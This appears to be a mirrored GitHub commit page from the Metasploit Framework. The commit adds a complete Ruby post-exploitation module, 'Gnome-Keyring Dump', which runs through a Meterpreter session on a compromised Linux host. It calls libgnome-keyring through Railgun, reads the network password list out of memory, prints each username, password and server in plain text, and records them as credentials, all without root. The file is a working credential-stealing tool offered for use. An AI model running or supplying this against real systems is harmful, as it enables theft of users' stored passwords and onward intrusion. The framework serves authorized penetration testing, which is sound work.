mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Land #8294, gnome keyring post exploit credential dumper
This commit is contained in:
commit
7bcaaf33c7
258
modules/post/linux/gather/gnome_keyring_dump.rb
Normal file
258
modules/post/linux/gather/gnome_keyring_dump.rb
Normal file
@ -0,0 +1,258 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'bindata'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Gnome-Keyring Dump',
|
||||
'Description' => %q{
|
||||
Use libgnome-keyring to extract network passwords for the current user.
|
||||
This module does not require root privileges to run.
|
||||
},
|
||||
'Author' => 'Spencer McIntyre',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
class GList_x64 < BinData::Record
|
||||
endian :little
|
||||
uint64 :data_ptr
|
||||
uint64 :next_ptr
|
||||
uint64 :prev_ptr
|
||||
end
|
||||
|
||||
class GList_x86 < BinData::Record
|
||||
endian :little
|
||||
uint32 :data_ptr
|
||||
uint32 :next_ptr
|
||||
uint32 :prev_ptr
|
||||
end
|
||||
|
||||
# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
|
||||
def struct_glist
|
||||
session.native_arch == ARCH_X64 ? GList_x64 : GList_x86
|
||||
end
|
||||
|
||||
class GnomeKeyringNetworkPasswordData_x64 < BinData::Record
|
||||
endian :little
|
||||
uint64 :keyring
|
||||
uint64 :item_id
|
||||
uint64 :protocol
|
||||
uint64 :server
|
||||
uint64 :object
|
||||
uint64 :authtype
|
||||
uint64 :port
|
||||
uint64 :user
|
||||
uint64 :domain
|
||||
uint64 :password
|
||||
end
|
||||
|
||||
class GnomeKeyringNetworkPasswordData_x86 < BinData::Record
|
||||
endian :little
|
||||
uint32 :keyring
|
||||
uint32 :item_id
|
||||
uint32 :protocol
|
||||
uint32 :server
|
||||
uint32 :object
|
||||
uint32 :authtype
|
||||
uint32 :port
|
||||
uint32 :user
|
||||
uint32 :domain
|
||||
uint32 :password
|
||||
end
|
||||
|
||||
# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
|
||||
def struct_gnomekeyringnetworkpassworddata
|
||||
session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x86
|
||||
end
|
||||
|
||||
def init_railgun_defs
|
||||
unless session.railgun.dlls.has_key?('libgnome_keyring')
|
||||
session.railgun.add_dll('libgnome_keyring', 'libgnome-keyring.so.0')
|
||||
end
|
||||
session.railgun.add_function(
|
||||
'libgnome_keyring',
|
||||
'gnome_keyring_is_available',
|
||||
'BOOL',
|
||||
[],
|
||||
nil,
|
||||
'cdecl'
|
||||
)
|
||||
session.railgun.add_function(
|
||||
'libgnome_keyring',
|
||||
'gnome_keyring_find_network_password_sync',
|
||||
'DWORD',
|
||||
[
|
||||
['PCHAR', 'user', 'in'],
|
||||
['PCHAR', 'domain', 'in'],
|
||||
['PCHAR', 'server', 'in'],
|
||||
['PCHAR', 'object', 'in'],
|
||||
['PCHAR', 'protocol', 'in'],
|
||||
['PCHAR', 'authtype', 'in'],
|
||||
['DWORD', 'port', 'in'],
|
||||
['PBLOB', 'results', 'out']
|
||||
],
|
||||
nil,
|
||||
'cdecl'
|
||||
)
|
||||
session.railgun.add_function(
|
||||
'libgnome_keyring',
|
||||
'gnome_keyring_network_password_list_free',
|
||||
'VOID',
|
||||
[['LPVOID', 'list', 'in']],
|
||||
nil,
|
||||
'cdecl'
|
||||
)
|
||||
end
|
||||
|
||||
def get_string(address, chunk_size=64, max_size=256)
|
||||
data = ''
|
||||
begin
|
||||
data << session.railgun.memread(address + data.length, chunk_size)
|
||||
end until data.include?("\x00") or data.length >= max_size
|
||||
|
||||
if data.include?("\x00")
|
||||
idx = data.index("\x00")
|
||||
data = data[0...idx]
|
||||
end
|
||||
|
||||
data[0...max_size]
|
||||
end
|
||||
|
||||
def get_struct(address, record)
|
||||
record = record.new
|
||||
record.read(session.railgun.memread(address, record.num_bytes))
|
||||
Hash[record.field_names.map { |field| [field, record[field]] }]
|
||||
end
|
||||
|
||||
def get_list_entry(address)
|
||||
glist_struct = get_struct(address, struct_glist)
|
||||
glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)
|
||||
glist_struct
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: opts[:protocol],
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
post_reference_name: self.refname,
|
||||
session_id: session_db_id,
|
||||
origin_type: :session,
|
||||
private_data: opts[:password],
|
||||
private_type: :password,
|
||||
username: opts[:username]
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def resolve_host(name)
|
||||
address = @hostname_cache[name]
|
||||
return address unless address.nil?
|
||||
vprint_status("Resolving hostname: #{name}")
|
||||
begin
|
||||
address = session.net.resolve.resolve_host(name)[:ip]
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
end
|
||||
@hostname_cache[name] = address
|
||||
end
|
||||
|
||||
def resolve_port(service)
|
||||
port = {
|
||||
'ftp' => 21,
|
||||
'http' => 80,
|
||||
'https' => 443,
|
||||
'sftp' => 22,
|
||||
'ssh' => 22,
|
||||
'smb' => 445
|
||||
}[service]
|
||||
port.nil? ? 0 : port
|
||||
end
|
||||
|
||||
def run
|
||||
init_railgun_defs
|
||||
@hostname_cache = {}
|
||||
libgnome_keyring = session.railgun.libgnome_keyring
|
||||
|
||||
unless libgnome_keyring.gnome_keyring_is_available()['return']
|
||||
fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')
|
||||
end
|
||||
|
||||
result = libgnome_keyring.gnome_keyring_find_network_password_sync(
|
||||
nil, # user
|
||||
nil, # domain
|
||||
nil, # server
|
||||
nil, # object
|
||||
nil, # protocol
|
||||
nil, # authtype
|
||||
0, # port
|
||||
session.native_arch == ARCH_X64 ? 8 : 4
|
||||
)
|
||||
|
||||
list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]
|
||||
fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0
|
||||
|
||||
entry = {:next_ptr => list_anchor}
|
||||
begin
|
||||
entry = get_list_entry(entry[:next_ptr])
|
||||
pw_data = entry[:data]
|
||||
# resolve necessary string fields to non-empty strings or nil
|
||||
[:server, :user, :domain, :password, :protocol].each do |field|
|
||||
value = pw_data[field]
|
||||
pw_data[field] = nil
|
||||
next if value == 0
|
||||
value = get_string(value)
|
||||
next if value.empty?
|
||||
pw_data[field] = value
|
||||
end
|
||||
|
||||
# skip the entry if we don't at least have a username and password
|
||||
next if pw_data[:user].nil? or pw_data[:password].nil?
|
||||
|
||||
printable = ''
|
||||
printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?
|
||||
printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?
|
||||
printable << "#{pw_data[:user]}:#{pw_data[:password]}"
|
||||
unless pw_data[:server].nil?
|
||||
printable << "@#{pw_data[:server]}"
|
||||
printable << ":#{pw_data[:port]}"
|
||||
end
|
||||
print_good(printable)
|
||||
|
||||
pw_data[:port] = resolve_port(pw_data[:protocol]) if pw_data[:port] == 0 and !pw_data[:protocol].nil?
|
||||
next if pw_data[:port] == 0 # can't report without a valid port
|
||||
ip_address = resolve_host(pw_data[:server])
|
||||
next if ip_address.nil? # can't report without an ip address
|
||||
|
||||
report_cred(
|
||||
ip: ip_address,
|
||||
port: pw_data[:port],
|
||||
protocol: 'tcp',
|
||||
service_name: pw_data[:protocol],
|
||||
username: pw_data[:user],
|
||||
password: pw_data[:password]
|
||||
)
|
||||
|
||||
end while entry[:next_ptr] != list_anchor and entry[:next_ptr] != 0
|
||||
|
||||
libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user